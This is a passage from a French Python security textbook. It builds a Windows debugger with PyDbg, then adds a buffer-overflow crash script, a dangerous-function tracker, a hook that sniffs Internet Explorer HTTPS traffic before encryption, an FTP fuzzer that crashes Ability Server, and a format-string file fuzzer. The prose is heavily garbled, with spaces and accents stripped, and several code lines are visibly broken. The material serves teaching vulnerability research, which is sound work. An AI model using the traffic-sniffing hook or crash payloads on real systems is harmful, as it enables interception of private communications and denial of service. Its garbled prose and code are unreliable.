current_page, size, mbi.Protect | PAGE_GUARD, byref(old_protection )):
return False
current_page += self.page_size
self.memory_breakpoints[address] = (address, size, mbi)
return True

Testonslesfonctionsvuesdansceparagraphelaidedemon_test4.py.
mon_test4.py

import mon_debugger_final
debugger=mon_debugger_final.debugger()
pid=raw_input("entrez le PID du processus a attacher: ")
debugger.attach(int(pid))
debugger.run()
debugger.detach()

Nousobtenonsdonclersultatsuivant,toujourspourlacalculatrice.

ENI Editions - All rights reserved - chantal gournier

- 7-

Lespointsdarrt(breakpoints)
1.Pointsdarrtlogiciel
Pourplacerdespointsdarrt,nousdevonstrecapablesdcrireetdeliredanslammoire.
LafonctionReadProcessMemory()vanousyaiderainsiqueWriteProcessMemory().
Grcecesdeuxfonctions,nousallonspouvoirinspecterlammoire.
Les paramtres leur fournir sont lpBaseAddress (adresse o nous voulons commencer lire ou crire),
lpBuffer(pointeurversladonnequenousvoulonslireoucrire), nSize(nombretotaldoctets que nous
voulonslireoucrire).
Enutilisantcesdeuxfonctions,nouspourronsutiliseraismentdansnotredebuggerlespointsdarrt.
Gnralement,lespointsdarrtsontplacssurunappeldefonction.Pourlexercice,nousutiliseronslappel
printf().
Pour dterminer ladresse virtuelle dune fonction, nous utiliserons GetProcessAddress() qui sera export
dekernel32.dll.
Nous aurons besoin de lentte de la fonction sur lappel de laquelle nous dsirons placer le point darrt,
GetmoduleHandle()nousyaidera.
Vouspouvezallervoirlesdfinitionsde read_process_memory(),write_process_memory(), bp_set
()etfunc_resolve()dansmon_debugger_final.pysivoussouhaitezplusdedtailsldessus.
Pournouspermettredetesterlescriptquivabouclersurunprintfquenousappeleronsboucle_printf.py,nous
allonscrireunautrescript,mon_test5.py.
mon_test5.py

import mon_debugger_final
debugger=mon_debugger_final.debugger()
pid=raw_input("entrez le PID du processus a attacher: ")
debugger.attach(int(pid))
printf_address=debugger.func_resolve("msvcrt.dll","printf")
print "[*] Adresse du printf : 0x%08x"%printf_address
debugger.bp_set(printf_address)
debugger.run()
debugger.detach()

boucle_printf.py

from ctypes import *


import time
msvcrt=cdll.msvcrt
counter=0
while 1:
msvcrt.printf("iteration %d de la boucle\n"%counter)
time.sleep(2)
counter+=1

ENI Editions - All rights reserved - chantal gournier

- 1-

Nous devrons donc au pralable lancer le script boucle_printf.py puis trouver son PID pour ensuite renseigner
mon_test5.pyaveccePID.

Notre debugger supporte maintenant les points darrt logiciel, nous pouvons passer aux points darrt
matriels.

2.Pointsdarrtmatriel
Nousdevonsavoirenttequepourutiliserlespointsdarrtmatriel,nousdevonstrouverlequeldesquatre
registresdedbogageestlibreetlequeladjtutilis.
Nousallonscommencerparnumrertouslesthreadsduprocessusetrcuprerlecontextepourchacundeux.
Ensuite,nousmodifieronsundesregistresentreDR0etDR3pourcontenirladressedupointdarrtdsir.
NousconfigureronsensuitelebitappropriduregistreDR7pourvaliderlepointdarrt,nousconfigureronsaussi
sontypeetsataille.
Une fois ceci fait, nous devrons modifier notre boucle dvnement avec lentte appropri de lexception qui
seragnreparnotrepointdarrtmatriel.
Vouspouvezpourcelatudierladfinitiondebp_set_hw()dansmon_debugger_final.py.
Nousouvronsunslotpourenregistrernotrepointdarrtenvrifiantledictionnaire hardware_breakpoint.
Maintenantquenousavonsobtenuunslotlibre,nousluiassignonsladressedupointdarrtmatrieletnous
modifions leregistreDR7avecledrapeauappropripourvalidercepointdarrt.
Vous pourrez aussi tudier la dfinition de exception_handler_
decemmescript.

single_step() et de bp_del_hw()

QuanduneinterruptionINT1apparat,nousvrifionssiundesregistresdedbogageestactivavecunpoint
darrtmatriel.
Si cest le cas, une exception est gnre, cela remet zro les drapeaux du registre DR7 et remet zro le
registrequicontientladressedupointdarrt.
Nousallonscrerunscriptmon_test6.pypourtestercela.

- 2-

ENI Editions - All rights reserved - chantal gournier

mon_test6.py

import mon_debugger_final
from mes_definitions_debugger_final import *
debugger=mon_debugger_final.debugger()
pid=raw_input("entrez le PID du processus a attacher: ")
debugger.attach(int(pid))
printf_address=debugger.func_resolve("msvcrt.dll","printf")
print "[*] Adresse du printf : 0x%08x"%printf_address
debugger.bp_set_hw(printf_address,1,HW_EXECUTE)
debugger.run()
debugger.detach()

Lacapturesuivantemontrelersultatdelexcutionduscript:

3.Pointdarrtmmoire
Nous allons devoir dabord dterminer ladresse de base de la section de mmoire (o dbute la page de la
mmoirevirtuelle).
Lorsque nous avons dtermin la taille de la page, nous allons activer ses permissions pour quelle agisse
commeunepagedegarde.
Quand le CPU va tenter daccder cette zone mmoire, une exception de type GUARD_PAGE_EXCEPTION va
tre gnre. En utilisant un entte spcifique pour cette exception, nous reviendrons la page originale et
continueronslexcution.
Pour calculer la taille de la page, nous utiliserons la fonction GetSystem- Info() qui remplira la structure
SYSTEM_INFOcontenantellemmedwPageSize quinousdonneracetteinformation.
Maintenant que nous savons cela, la premire tape va tre de faire une requte sur la page contenant
ladressemmoiredubreakpointquenousvoulons placer.

ENI Editions - All rights reserved - chantal gournier

- 3-

CequiserafaitgrcelafonctionVirtualQueryEx()quirempliralastructure MEMORY_BASIC_INFORMATION
contenantlescaractristiquesdelapagedemande.
Nousutiliseronsensuitelavaleur BaseAddresscommepointdedpartpourcommencerlaconfigurationdes
permissions.LafonctionVirtualProtectEx()nousyaidera.
Retournons notre script mon_debugger_final.py afin dy tudier le fonctionnement de ces fonctions
(bp_set_memory()).
Nousvenonsdedcouvrirlesmandresdundebugger simpliste afindencomprendrelesmcanismes,cequi
pourranousaiderparlasuite.
Unebibliothquespcifiqueatdveloppepouraiderle pythoniste ,PyDbg.

- 4-

ENI Editions - All rights reserved - chantal gournier

LabibliothquePyDbg
Nousavonsvudanslessectionsprcdentescommentplacerdespointsdarrt,maiscommentfaireavecPyDbg ?
Une fonction bp_set(address,
aider.

descriptor= , restore= True,handler=None) va nous y

Largumentaddressestladresseonousvoulonsplacerlepointdarrtlogiciel.
Leparamtredescriptorestoptionneletpeuttreutilispourdonnerunnomaupointdarrt.
Leparamtre restoredterminesilepointdarrtdoitautomatiquementtreremiszroaprsavoirrcupr
lentteetleparamtrehandlerspcifiequellefonctionappeler.
Toutes les informations du contexte, des threads et processus vont tre renseignes par cette classe lors de
lappellafonction.
Nousallonsutiliserlescriptboucle_printf.pydessectionsprcdentesetgrceunnouveauscript,nousallons
lirelesvaleursducompteuretlesremplacerparunevaleuralatoirecompriseentre1et100.
Nousallonsdoncobserver,lireetmanipulerdesdonnesduprocessuscibleentempsrel.
printf_random.py

from pydbg import *


from pydbg.defines import *
import struct
import random
def printf_randomizer(dbg):
# Lecture de la valeur du compteur en ESP + 0x8 comme un DWORD
parameter_addr = dbg.context.Esp + 0x8
counter = dbg.read_process_memory(parameter_addr,4)
counter = struct.unpack("L",counter)[0]
print "Counter: %d" % int(counter)
random_counter = random.randint(1,100)
random_counter = struct.pack("L",random_counter)[0]
dbg.write_process_memory(parameter_addr,random_counter)
return DBG_CONTINUE
dbg = pydbg()
pid = raw_input("Enter the printf_loop.py PID: ")
dbg.attach(int(pid))
printf_address = dbg.func_resolve("msvcrt","printf")
dbg.bp_set(printf_address,description="printf_address",
handler=pri ntf_randomizer)
dbg.run()

Rsultatobtenupourboucle_printf.py

C:\Documents and Settings\fasm\Mes documents\livre_python\


chapitre3>python boucle_printf.py
iteration 0 de la boucle
iteration 1 de la boucle
iteration 2 de la boucle
iteration 3 de la boucle
iteration 32 de la boucle
iteration 39 de la boucle

ENI Editions - All rights reserved - chantal gournier

- 1-

iteration 86 de la boucle
iteration 22 de la boucle
iteration 70 de la boucle

Rsultatobtenupourprintf_random.py

C:\Documents and Settings\fasm\Mes documents\livre_python\


chapitre3>python print
f_random.py
Enter the printf_loop.py PID: 888
Counter: 4
Counter: 5
Counter: 6
Counter: 7
Counter: 8
Counter: 9
Counter: 10

Nousarrivonsdoncattacherleprocessusetchangerlesvaleursducompteur commenouslesouhaitons.

1.Violationdaccsdesenttes(handlers)
Une violation daccs des handlers apparat dans un processus quand il essaie daccder une partie de la
mmoirepourlaquelleilnapaslespermissions.
Enscuritinformatique,unetelleviolationdaccspeuttreintressantecarpeuttreexploitablepourtrouver
unefaille.
Avec le debugger, il faut tre capable dattraper cette violation et de rcuprer toutes les informations
importantestellesquelaframedelapile,lesregistresetlinstructionquiaprovoqucelleci.
PyDbgpossdeunemthodequivanouspermettredeffectuertoutcelamaisauparavant,nousallonscrerle
problmeafindetestertoutcelaencrantunscriptaveclafonctionstrcpy()quicommetoutlemondelesait
estfaillible.
buffer_overflow.py

from ctypes import *


msvcrt=cdll.msvcrt
raw_input("quand le debugger est attache, appuyez sur une touche")
buffer=c_char_p("AAAAA")
overflow="A"*100
msvcrt.strcpy(buffer,overflow)

Nouscronsiciunbuffercontenant5octetspuisnousplaonsdansceluici100octetslaidedelacommande
strcpy().
Sinouslanonscescript,nousobtenonsuneerreursystme.

- 2-

ENI Editions - All rights reserved - chantal gournier

Nousallonsmaintenantcrerlescriptquivarcuprerceproblmeetnousdonnerlesinformationsncessaires.
recuperation_violation_acces.py

from pydbg import *


from pydbg.defines import *
import utils
def check_accessv(dbg):
if dbg.dbg.u.Exception.dwFirstChance:
return DBG_EXCEPTION_NOT_HANDLED
crash_bin=utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
print crash_bin.crash_synopsis()
dbg.terminate_process()
return DBG_EXCEPTION_NOT_HANDLED
pid=raw_input("Entrez le PID du processus")
dbg=pydbg()
dbg.attach(int(pid))
dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,check_accessv)
dbg.run()

Nousallonsdonclancermaintenantlesdeuxscriptsenrespectantbiensrlesdemandesdechacundeux(PID
duprocessus,appuyersurunetouche...).
Vousdevriezavoirunrsultatsemblableceluici.

ENI Editions - All rights reserved - chantal gournier

- 3-

NouspouvonsvisualiserfacilementlecontenudesregistresetpouvonsparexemplevoirlesregistresEDX,EAX
contenantdes41414141soit AAAA .
Nousvoyonsaussiapparatrelecodeenassembleur,lecontenudelapile...

2.ProcessSnapshot
PyDbgpossdeunecaractristiqueassezutileappele process snapshotting quipermetdeprendre une
photo uninstanttduprocessus,cequinousfournitdesinformationsducontenudelammoirecemoment
parexemple.
Cestunprocessustrsutilequandonveutfairedelingnierieinverse(reverseengineering)oulorsdanalyse
duncrash.
Nousallonsdabordessayerdeprendrecettephoto.Nousdevonsdoncobtenirtouslesthreadsetleurcontexte
ainsiquetouteslespagesenmmoireainsiqueleurcontexte.
Une fois que nous aurons obtenu toutes ces informations, il nous suffira de les enregistrer afin de les lire
ultrieurement.

- 4-

ENI Editions - All rights reserved - chantal gournier

Nousallonsdoncdevoirsuspendretouslesthreadsduprocessuspourque,pendantlaprisedelaphoto,tout
restedansltat.
Lesfonctionssuspend_all_threads()etresume_all_threads()nousseronttrsutiles.
Nous pourrons ensuite utiliser la fonction
systme.

process_snapshot() pour prendre cette fameuse photo du

Lafonctionprocess_restore()sertrelancerlesystme.
Mieuxvautunexempleconcret.
Snapshot.py

from pydbg import *


from pydbg.defines import *
import threading
import time
import sys
class snapshotter(object):
def __init__(self,exe_path):
self.exe_path=exe_path
self.pid=None
self.dbg=None
self.running=True
pydbg_thread=threading.Thread
(target=self.start_debugger )
pydbg_thread.start()
while self.pid==None:
time.sleep(1)
monitor_thread=threading.Thread
(target=self.monitor_debugger)
monitor_thread.setDaemon(0)
monitor_thread.start()
def monitor_debugger(self):
while self.running==True:
input1=raw_input("entrer: snap, restore ou
quit")
input1=input1.lower().strip()
if input1=="quit":
print "[*] On quitte snapshotter"
self.running=False
self.dbg.terminate_process()
elif input1 == "snap":
print "[*] tous les threads sont suspendus"
self.dbg.suspend_all_threads()
print "[*] obtention du snapshot"
self.dbg.process_snapshot()
print "[*] redemarrage des threads"
self.dbg.resume_all_threads()
elif input1== "restore":
print "[*] tous les threads sont suspendus"
self.dbg.suspend_all_threads()
print "[*] restauration du snapshot"
self.dbg.process_restore()
print "[*] redemarrage des threads"
self.dbg.resume_all_threads()
def start_debugger(self):
self.dbg=pydbg()
pid=self.dbg.load(self.exe_path)
self.pid=self.dbg.pid

ENI Editions - All rights reserved - chantal gournier

- 5-

exe_path="C:\\WINDOWS\\System32\\calc.exe"
snapshotter(exe_path)

Touteslestapessontvalidesetnouspouvonscomprendreaismentenlisantlescriptladmarchesuivre.
Nous pouvons maintenant nous atteler crer un script qui reprend tout ce que nous avons vu afin daider
lutilisateurtrouverdansdesapplicationsdesfaillespotentiellescommelesbufferoverflows,lesformatstrings
oulacorruption demmoire.
Le script va localiser la fonction faillible. Quand la fonction que lon a dfinie comme faillible est appele, nous
drfrencerons quatre registres (comme EIP) et prendrons une photo (snapshot). Si une violation daccs
intervient,notrescriptreviendraauderniersnapshotprispourcettefonction.
Voicicescript :
traqueur_de_danger.py

from pydbg import *


from pydbg.defines import *
import utils
MAX_INSTRUCTIONS=10
dangerous_functions={
"strcpy":"msvcrt.dll",
"strncpy":"msvcrt.dll",
"sprintf":"msvcrt.dll",
"vsprintf":"msvcrt.dll"
}
dangerous_functions_resolved={}
crash_encountered=False
instruction_count=0
def danger_handler(dbg):
esp_offset=0
print "[*] Tapez
%s"%dangerous_functions_resolved[dbg.context.Eip]
print
"============================================================="
while esp_offset <=20:
parameter=dbg.smart_deference(dbg.context.Esp +
esp_offset)
print "[ESP + %d] => %s"%(esp_offset,parameter)
esp_offset +=4
print
"============================================================="
dbg.suspend_all_threads()
dbg.process_snapshot()
dbg.resume_all_threads()
return DBG_CONTINUE
def access_violation_handler(dbg):
global crash_encountered
- 6-

ENI Editions - All rights reserved - chantal gournier

if dbg.dbg.u.exception.dwFirstChance:
return DBG_EXCEPTION_NOT_HANDLED
crash_bin=utils.crash_binning.crash_binning()
crash_bin.record(dbg)
print crash_bin.crash_synopsis()
if crash_encountered==False:
dbg.suspend_all_threads()
dbg.process_restore()
crash_encountered=True
for thread_id in dbg.enumerate_threads():
print "[*] configuration du mode pas a pas pour le
thread:0x%08x"%yhread_id
h_thread=dbg.open_thread(thread_id)
dbg.single_step(True,h_thread)
dbg.close_hnadle(h_thread)
dbg.resume_all_threads()
return DBG_CONTINUE
else:
dbg.terminate_process()
return DBG_EXCEPTION_NOT_HANDLED
def single_step_handler(dbg):
global instruction_count
global crash_encountered
if crash_encountered:
if instruction_count==MAX_INSTRUCTIONS:
dbg.single_step(False)
return DBG_CONTINUE
else:
instruction=dbg.disasm(dbg.context.Eip)
print "#%d\t0x%08x : %s"%
(instruction_count,dbg.context.Eip,instruction)
instruction_count +=1
dbg.single_step(True)
dbg=pydbg()
pid=int(raw_input("entrez le PID que vous souhaitez monitorer: "))
dbg.attach(pid)
for func in dangerous_functions.keys():
func_address=dbg.func_resolve
(dangerous_functions[func],func)
print "[*] resolution du point darret: %s => 0x%08x"%
(func,func_address)
dbg.bp_set(func_address,handler=danger_handler)
dangerous_functions_resolved[func_address]=func
dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,access_violation_handler
dbg.set_callback(EXCEPTION_SINGLE_STEP,single_step_handler)
dbg.run

SinousappliquonscescriptetluidonnonsunPID(danscecaslePIDdecontext,unditeurdetextegratuit)
nousobtenons :

SinoustentonslammeexprienceavecunlogicielquelonsaitfaillibletelqueAbilityServer,nousobtiendrons
lcransuivant :

ENI Editions - All rights reserved - chantal gournier

- 7-

Nousvoyonsdoncquelapplicationplanteetdoncquunedesfonctionstrouveparlescriptetnumredansla
consoleestfaillible.
Cestunepremireapprocheafindetesterdesapplicationsvulnrablesaveclarecherchedexploits.
Nous verrons dans le chapitre suivant que PyDbg peut tre, entre autres, utilis pour crer un fuzzer
dapplications.

- 8-

ENI Editions - All rights reserved - chantal gournier

Applications :Hooking
1.nonc
Prrequis:PyDbg
But:crerunhookdInternetExplorer.
nonc:
Unhook(littralementcrochetouhameon)permetlutilisateurdunlogicieldepersonnaliserlefonctionnement
decedernier,enluifaisantraliserdesactionssupplmentairesdesmomentsdtermins.
Nousvoudrionsdonc sniffer lesconnexionsSSLdInternetExplorerquiutiliseCryptoAPIdeMicrosoft.

2.Solution
hook_ssl_pydbg.py

from pydbg import *


from pydbg.defines import *
import utils
import sys
import re
import struct

def ssl_sniff_encryptmessage( dbg, args ):


buffer = ""
addr_bufflen=dbg.context.Esp + 0x2C
bufflen=struct.unpack(L,dbg.read_process_memory(addr_bufflen , 4))[0]
addr=dbg.context.Esp + 0x34
addr_buffer = struct.unpack(L,dbg.read_process_memory(addr,
4))[0]
try:
buffer=dbg.read_process_memory(addr_buffer,bufflen)
buffer=re.sub(.*gzip.*\r\n,,buffer)
dbg.write_process_memory(addr_buffer, buffer)
except:
pass
print "Requete: \n\n%s" % buffer
print "\n-----------------------------------------\n"
return DBG_CONTINUE
def ssl_sniff_wininet( dbg, args ):
buffer = ""
addr_bufflen=dbg.context.Esp + 0x8
bufflen=struct.unpack(L,dbg.read_process_memory(addr_bufflen ,
4))[0]
addr=dbg.context.Esp + 0x4
addr_buffer = struct.unpack(L,dbg.read_process_memory(addr,
4))[0]
try:
buffer=dbg.read_process_memory(addr_buffer,bufflen)
buffer=re.sub(.*gzip.*\r\n,,buffer)
dbg.write_process_memory(addr_buffer,buffer)
dbg.write_process_memory(addr_bufflen,
struct.pack("L",len(buffer))[0])
except:
pass
print "Requete: \n\n%s" % buffer
ENI Editions - All rights reserved - chantal gournier

- 1-

print "\n-----------------------------------------\n"
return DBG_CONTINUE
def ssl_sniff_decrypt(dbg, args, ret):
buffer = ""
offset = 0
addr=dbg.context.Esp + 32
addr_buffer = struct.unpack(L,dbg.read_process_memory(addr,
4))[0]
try:
while 1:
byte = dbg.read_process_memory(addr_buffer + offset,
1 )
if byte != "\x00":
buffer += byte
offset += 1
continue
else:
break
print "Reponse: \n\n%s" % buffer
print "\n-----------------------------------------\n"
except:
pass
return DBG_CONTINUE
def Main():
dbg = pydbg()
test_ie= False
for (pid, name) in dbg.enumerate_processes():
print "PID: %s Processes: %s" % (pid, name)
proc_id = raw_input("\nEntrez le PID du processus a attacher: ")
for (pid, name) in dbg.enumerate_processes():
if pid==int(proc_id) and name.lower() == "iexplore.exe":
answer=raw_input("\nEssayons de faire un hook sur
wininet.dll => EncryptMessage (Y or N)?: ")
if answer.lower()==y:
test_ie=True
try:
hooks = utils.hook_container()
dbg.attach(int(proc_id))
print "\n[*] Attachons le processus avec le PID: %d" %
int(proc_id)
if test_ie:
hook_address = 0x77AA1000 # adresse de wininet.dll
else:
hook_address =
dbg.func_resolve_debuggee("Secur32.dll","EncryptMessage")
hook_address2 =
dbg.func_resolve_debuggee("Secur32.dll","DecryptMessage")
if hook_address and hook_address2:
if test_ie:
hooks.add( dbg, hook_address, 4, ssl_sniff_wininet, None )
print "[*] Wininet.dll hooked at: 0x%08x" % hook_address
else:
hooks.add( dbg, hook_address, 4, ssl_sniff_encryptmessage,
None )
print "[*] Secur32.EncryptMessage hooked at: 0x%08x" %
hook_address
hooks.add( dbg, hook_address2, 4, None, ssl_sniff_decrypt )
print "[*] Secur32.DecryptMessage hooked at: 0x%08x" %
hook_address2
except:
print "[*] Erreur: Ne peut pas rsoudre ladresse de hook."
sys.exit(-1)
print "[*] Hook valide, on continue."
dbg.run()

- 2-

ENI Editions - All rights reserved - chantal gournier

if __name__== __main__: Main()

Ladresse0x77AA1000correspondladressedewininet.dlltrouvegrceImmunityDebugger.Eneffet,ilfaut
utiliserundebuggertelqueOllydbgouImmunityDebuggerafindetrouverlesadressesenmmoireoudansla
pile.ImmunityDebuggerestprfrablecarnouspouvonsychargerdesscriptsPython.
Pour plus de dtails ce sujet, vous pouvez consulter louvrage "Scurit Informatique Ethical hacking" des
ditionsENIetplusparticulirementlasectionsurlesbufferowerflows.
NousobtenonslersultatsuivantentestantcescriptsurInternetExplorer,connectsurunsiteenHTTPS :

ENI Editions - All rights reserved - chantal gournier

- 3-

Introduction
Issudutermeanglaisfuzzy(flouenfranais),lefuzzingestunemthodedautomatisation destests.Ellesappuie
surdesfuzzers(outilslogiciels)pourautomatiserlidentificationdebugsoudefaillesdansdesapplications.Elle
apporte ungaindetempsimportantfacedesprogrammespouvantcomporterdesmilliersdelignesdecode.
Le processus consiste vrifier les entres possibles pour une application donne, et forcer des oprations
dans le cas o celleci ragit de manire anormale. Le fuzzer servira ainsi bombarder lapplication de codes
volontairementmalforms.
Safinalitestlamliorationdesdveloppements,unefoisunbugidentifi.Lefuzzingsedestineavanttoutaux
dveloppeurs et aux chercheurs en scurit. Toutefois, les pirates savrent galement des utilisateurs du
procd.
Ilexistedesfuzzers clsenmain quinouspermettentdefairelespremierstestsetnousdonnentsouventde
bonsrsultats,maissouventnousdevronspouruncasspcifiquecrernousmmesnotrefuzzer.
NouspouvonslisterquelquesfuzzerstelsqueSpike,Fusil,zzuf,wfuzz...
DesfuzzersserontspcifiquesunprotocoleouunservicecommeparexempledesfuzzersFTP,web...

ENI Editions - All rights reserved - chantal gournier

- 1-

FuzzingFTP
Prenons pour commencer un cas simple avec lapplication Ability Server 2.34 qui est un logiciel commercial
permettantdecrersimplementunserveurFTP,HTTPouemail.
NousnousattaqueronsauserveurFTPpuisquefaillibleetconnu.

AllonsdansSettingspourconfigurerunutilisateuraveclidentifiantftpetlemotdepasseftpparexemple.

partirdecemoment,lorsquenouscliquonssurActivatesurlalignedeFTPServer,nousobtenonsunaccsau
FTPennousconnectantentantquutilisateurftpaveclemotdepasseftp.
Nouspartironsdoncdececonstatpourcrerunscriptquivatenterdefaireplanterlapplication.
Nous sommes en prsence du protocole FTP, il nous faut donc savoir quels sont les tests que nous pourrons
effectuer.
Undestestspossiblesestdefournirenargumentdunecommandeunnombredargumentsnonprvu.

ENI Editions - All rights reserved - chantal gournier

- 1-

Il nous faut donc rpertorier les commandes FTP qui acceptent des arguments. Pour cela, nous avons une
documentationtrsutilequiestlaRFC.
Nous pouvons donc aller consulter la RFC 959 et nous pourrons voir que les commandes CWD, MKD et STOR
acceptentdesarguments.
Pourlexemple,nousneprendronsquecestroiscommandes,maisdanslapratique,ilfaudraittestertoutesles
commandesacceptantunargument.
NousallonsdonccommencerparcrireunscriptenPythonquieffectuelaconnexionpourtestercelleci.
script_connexion_ftp.py

import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.10",21))
data=s.recv(1024)
print data
s.send("USER ftp\r\n")
print s.recv(1024)
s.send("PASS ftp\r\n")
print s.recv(1024)
s.send("QUIT\r\n")
s.close()

Entestantcescript,nouspouvonsconstaterquuneconnexiondelutilisateurftpestbienvueparAbilityServer.
Continuons notre investigation et essayons, lorsque nous sommes connects, denvoyer une commande et de
recevoirlarponse.
script_commande_ftp.py

import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.10",21))
data=s.recv(1024)
print data
s.send("USER ftp\r\n")
print s.recv(1024)
s.send("PASS ftp\r\n")
print s.recv(1024)
s.send("PWD\r\n")
data=s.recv(1024)
print data
s.send("QUIT\r\n")
s.close()

- 2-

ENI Editions - All rights reserved - chantal gournier

NousavonsdoncrussienvoyeretrecevoirunecommandeFTP.
Nousallonsdoncmaintenantessayerdenvoyerplusieurscommandeset,pourchacunedentreelles,denvoyerun
nombredargumentscroissantjusqu dclencherunplantagepotentielduserveurFTP.
Nousallonsenvoyerdes A commearguments.
Script_final_ftp_fuzzing.py

#!/usr/bin/env python
#--*-- coding:UTF-8 --*-import socket
commande=[MKD,CWD,STOR]

for command in commande:


car=" "
while len(car)<2000:
car=car+"A"*10
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.2",21))
data=s.recv(1024)
print data
s.send("USER ftp\r\n")
print s.recv(1024)
s.send("PASS ftp\r\n")
print s.recv(1024)
commands=command + " "+car+"\r\n"
s.send(commands)
print commands + " : " + str(len(car))
s.send("QUIT\r\n")

Dans ce script nous allons donc prendre chaque commande de la liste commande grce la boucle for pour
ensuite,grcelabouclewhile,luiajouterlesarguments.

ENI Editions - All rights reserved - chantal gournier

- 3-

NouspouvonsobserverquelescriptsarrtepourlacommandeSTORavec1041caractresAetqueAbilityServer
asubiuncrash.

Nousvenonsdoncdeffectuernotrepremierfuzzer.

- 4-

ENI Editions - All rights reserved - chantal gournier

FuzzingavecScapy
Lafonction fuzz()estcapabledechangernimportequellevaleurpardfaut,tellequelechecksumparunobjet
dontlavaleurestalatoireetletypeadaptauchamp.Cequivanouspermettredecrerrapidementunfuzzer
etdelenvoyer dansuneboucle
Danslexemplesuivant,lacoucheIPestnormaleetlescouchesUDPetNTPsontfuzzes.LechecksumUDPsera
correct,leportUDPdedestinationserasurcharg,NTPauralavaleur123etlaversionseraforce4.Tousles
autresportsserontrendusalatoires.

Nouspouvonsbienentendu,commenouslavonsvuauchapitreRseau:labibliothqueScapy,configurercomme
nouslevoulonslafonctionfuzz().

Nous pouvons maintenant lancer le fuzzing et observer avec un "renifleur de paquet", tel que Wireshark ou
tcpdump,lchangeentreleclientetleserveur.

ENI Editions - All rights reserved - chantal gournier

- 1-

La capture dcran suivante montre le rsultat sous Wireshark. Wireshark est un logiciel gratuit, disponible en
tlchargementetlestutoriauxsontmultiples. Sonutilisationestsimpleetinstinctive.

Nousvoyonsbienicilespaquetsenvoyslamachine10.0.0.2.
TentonsmaintenantunfuzzingsurnotreserveurAbilityServerenlanantlacommandesuivante:

send(IP(dst="10.0.0.2")/fuzz(TCP(dport=21)),loop=1)

Nous pouvons constater que de multiples paquets sont envoys la cible (10.0.0.2). En examinant les paquets
sparment,nouspouvonsobserverlesdiffrentesdonnesenvoyesetvoirlescommandesutilises.
Nousobservonsunaccroissementdesconnexionssurleserveur.

- 2-

ENI Editions - All rights reserved - chantal gournier

ENI Editions - All rights reserved - chantal gournier

- 3-

FuzzingavecPyDbg :formatstring
1.Introduction
Lebutesticiaussidercriredesdonnespourcontrlerlefluxdexcutionafindaugmenternosprivilges.
Ce type de faille vient aussi derreurs de programmation qui apparemment nengendrent pas de risque de
scurit.
Leformatstringouformatdechaneestissudesfonctionsdetypeprintfetdetoussesdrivsquisontmal
utiliss.
Nous allons dans un premier temps tudier la fonction printf et ses arguments pour comprendre la faille pour
ensuitepouvoirlexploiter.

printf(votre choix: %d\n, choix_user);

%d:sertafficherchoix_user

auformatdcimal

%u:dcimalnonsign

%x:hexadcimal

%s:chanedecaractres

%n:stockelenombredecaractrescritsparlafonctionprintf

%n:motmmoire

%hn:"short"(16bits)

%hhn:"char"(8bits)

Quand lutilisateur entre le paramtre %x et que celuici est pass en argument de la fonction printf(), la
reprsentationhexadcimaledunmotde4 octetsdelapileestaffiche(parexemple0xbfe3b024).
Ceparamtrepeuttreutilispourexaminerlammoire.
On pourrait utiliser dautres paramtres tels que %s ou %n pour lire des chanes de caractres ou pour aller
crireenmmoire.
CestcetypedefaillequenoussouhaitonstestergrcePyDbg.

2.Fuzzerdefichiers
Lesvulnrabilitsdetypeformatstringvontvitedevenirundesprincipauxchoixpourlesattaquesctclient,
cestpourquoinousallonsnousyintresserici.
Fuzzer_fichier.py

from pydbg import *


from pydbg.defines import *
import
import
import
import
import
import

utils
random
sys
struct
threading
os

ENI Editions - All rights reserved - chantal gournier

- 1-

import shutil
import time
import getopt

class file_fuzzer:
def __init__(self, exe_path, ext, notify):
self.exe_path
= exe_path
self.ext
= ext
self.notify_crash
= notify
self.orig_file
= None
self.mutated_file
= None
self.iteration
= 0
self.exe_path
= exe_path
self.orig_file
= None
self.mutated_file
= None
self.iteration
= 0
self.crash
= None
self.send_notify
= False
self.pid
= None
self.in_accessv_handler
= False
self.dbg
= None
self.running
= False
self.ready
= False

self.smtpserver
self.recipients
self.sender
self.test_cases

=
=
=
=

smtp.free.fr
[fasm@acissi.net,]
franck.ebel@free.fr
[ "%s%n%s%n%s%n", "\xff", "\x00", "A" ]

def file_picker( self ):


file_list = os.listdir("examples/")
list_length = len(file_list)
file = file_list[random.randint(0, list_length-1)]
shutil.copy("examples\\%s" % file,"test.%s" % self.ext)
return file
def fuzz( self ):
while 1:
if not self.running:
self.test_file = self.file_picker()
self.mutate_file()
pydbg_thread =
threading.Thread(target=self.start_debugger)
pydbg_thread.setDaemon(0)
pydbg_thread.start()
while self.pid == None:
time.sleep(1)
monitor_thread =
threading.Thread(target=self.monitor_debugger)
monitor_thread.setDaemon(0)
monitor_thread.start()
self.iteration += 1
def start_debugger(self):
print "[*] Starting debugger for iteration: %d" %
self.iteration
self.running = True
self.dbg = pydbg()
self.dbg.set_callback
(EXCEPTION_ACCESS_VIOLATION,self.chec k_accessv)
pid = self.dbg.load(self.exe_path,"test.%s" % self.ext)
self.pid = self.dbg.pid
self.dbg.run()
def monitor_debugger(self):
counter = 0

- 2-

ENI Editions - All rights reserved - chantal gournier

print "[*] Monitor thread for pid: %d waiting." %


self.pid,
while counter < 3:
time.sleep(1)
print counter,
counter += 1
if self.in_accessv_handler != True:
time.sleep(1)
self.dbg.terminate_process()
self.pid = None
self.running = False
else:
print "[*] The access violation handler is doing its
business. Going to sleep"
while self.running:
time.sleep(1)
def check_accessv(self,dbg):
if dbg.dbg.u.Exception.dwFirstChance:
return DBG_CONTINUE
print "[*] Woot! Handling an access violation!"
self.in_accessv_handler = True
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
self.crash = crash_bin.crash_synopsis()
crash_fd = open("crashes\\crash-%d" % self.iteration,"w")
crash_fd.write(self.crash)
shutil.copy("test.%s" % self.ext,"crashes\\%d.%s" %
(self.iteration,self.ext))
shutil.copy("examples\\%s" % self.test_file,"crashes\\
%d_orig.%s" % (self.iteration,self.ext))
self.dbg.terminate_process()
self.in_accessv_handler = False
self.running = False
if self.notify_crash:
notify()
return DBG_EXCEPTION_NOT_HANDLED
def notify(self):
crash_message = "From:%s\r\n\r\nTo:\r\n\r\nIteration:
